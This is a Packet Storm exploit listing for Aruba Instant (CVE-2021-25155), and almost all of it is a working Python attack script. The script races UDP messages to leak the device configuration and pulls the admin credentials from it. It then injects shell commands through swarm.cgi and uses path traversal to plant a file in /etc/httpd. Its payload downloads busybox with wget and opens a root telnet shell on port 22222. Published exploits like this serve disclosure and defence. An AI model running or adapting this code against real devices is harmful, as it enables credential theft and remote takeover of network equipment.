Lucene search

K
packetstormGr33nh4tPACKETSTORM:163524
HistoryJul 16, 2021 - 12:00 a.m.

Aruba Instant 8.7.1.0 Arbitrary File Modification

2021-07-1600:00:00
Gr33nh4t
packetstormsecurity.com
166
`# Exploit Title: Aruba Instant 8.7.1.0 - Arbitrary File Modification  
# Date: 15/07/2021  
# Exploit Author: Gr33nh4t  
# Vendor Homepage: https://www.arubanetworks.com/  
# Version:  
# Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below  
# Aruba Instant 6.5.x: 6.5.4.18 and below  
# Aruba Instant 8.3.x: 8.3.0.14 and below  
# Aruba Instant 8.5.x: 8.5.0.11 and below  
# Aruba Instant 8.6.x: 8.6.0.6 and below  
# Aruba Instant 8.7.x: 8.7.1.0 and below  
# Tested on: Aruba Instant  
# CVE : CVE-2021-25155  
  
import socket  
import sys  
import struct  
import time  
import threading  
import urllib3  
import re  
import telnetlib  
import xml.etree.ElementTree as ET  
import requests  
  
urllib3.disable_warnings()  
  
CONTINUE_RACE = True  
SNPRINTF_CREATEFILE_MAX_LENGTH = 245  
  
  
def race_papi_message(ip):  
  
global CONTINUE_RACE  
  
payload = b"\x49\x72"  
payload += b"\x00\x03"  
payload += b"\x7F\x00\x00\x01"  
payload += b"\x7F\x00\x00\x01"  
payload += b"\x00\x00"  
payload += b"\x00\x00"  
payload += b"\x3B\x7E"  
payload += b"\x41\x41"  
payload += b"\x04\x22"  
payload += b"\x00\x00"  
payload += b"\x02\x00"  
payload += b"\x00\x00"  
payload += b"\x00" * 12 * 4  
text_to_send = bytes()  
for i in "msg_ref 3000 /tmp/cfg-plaintext\x00":  
text_to_send += struct.pack("B", int(ord(i)) ^ 0x93)  
  
packet = payload + text_to_send  
  
while CONTINUE_RACE:  
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
s.connect((ip, 8211))  
s.send(packet)  
s.close()  
time.sleep(0.004)  
  
  
def find_credentials(text):  
res = re.search("mgmt-user .*", text)[0]  
res = res.split(" ")  
return (res[1], res[2])  
  
  
def login(ip, username, password):  
login_data = {  
"opcode": "login",  
"user": username,  
"passwd": password,  
"refresh": "false",  
}  
res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False)  
  
root = ET.fromstring(res.text)  
return root.find("./data[@name='sid']").text  
  
  
def create_directory(ip, sid):  
request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0.23759201691110987&=".format(ip=ip, sid=sid)  
res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False)  
if "/tmp/oper_" in res.text:  
print("[+] Successfully created /tmp/oper_/ directory :)")  
return True  
else:  
print("[-] Failed creating /tmp/oper_/ directory")  
return False  
  
  
def prepare_upload_id(command):  
base_payload = "/../../etc/httpd/"  
cmd_len = len(command)  
padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8 # for the .gz at the end and the '; + spaces  
if padding_len < 0:  
print("[-] Command too long length:{}".format(padding_len))  
exit(1)  
return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command)   
  
  
def create_file(ip, command):  
upload_id = prepare_upload_id(command)  
requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False)  
  
  
def run_command(ip, command):  
print("[*] Executing telnet")  
command = command.replace("?", "%3F")  
command = command.replace("#", "\\\\x23")  
s = requests.Session()  
req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command))  
prep = req.prepare()  
response = s.send(prep, verify=False)  
return response.text  
  
def build_command(command):  
command = command.replace("/", "\\\\x2F")  
command = command.replace("#", "\\\\x23")  
command = command.replace("\"", "\\\"")  
command = command.replace("`", "\`")  
final_command = "echo -e \"{}\"|sh".format(command)  
return final_command  
  
def telnet_connect(router_ip):  
print("[*] Connecting to telnet")  
with telnetlib.Telnet(router_ip, 22222) as tn:  
tn.write(b"rm /etc/httpd/A*sh*.gz\n")  
tn.interact()  
  
  
def main():  
  
global CONTINUE_RACE  
  
ip = sys.argv[1]  
  
print("[*] Starting the PAPI race thread")  
papi_thread = threading.Thread(target=race_papi_message, args=(ip, ))  
papi_thread.start()  
  
while CONTINUE_RACE:  
time.sleep(0.1)  
res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False)  
if "version" in res.text:  
print("[+] Successfully leaked the password from config")  
CONTINUE_RACE = False  
  
file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0]  
user, password = find_credentials(file_content)  
  
print("[+] Successfully extracted username: {} and password: {}".format(user, password))  
sid = login(ip, user, password)  
print("[*] SID generated: {}".format(sid))  
  
command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh"""  
final_command = build_command(command)  
  
if not create_directory(ip, sid):  
return  
  
print("[*] Creating malicious file in /etc/httpd/")  
create_file(ip, final_command)  
print(run_command(ip, final_command))  
time.sleep(1) # Sleeping waiting for telnet.  
telnet_connect(ip)  
  
  
if __name__ == "__main__":  
main()  
  
`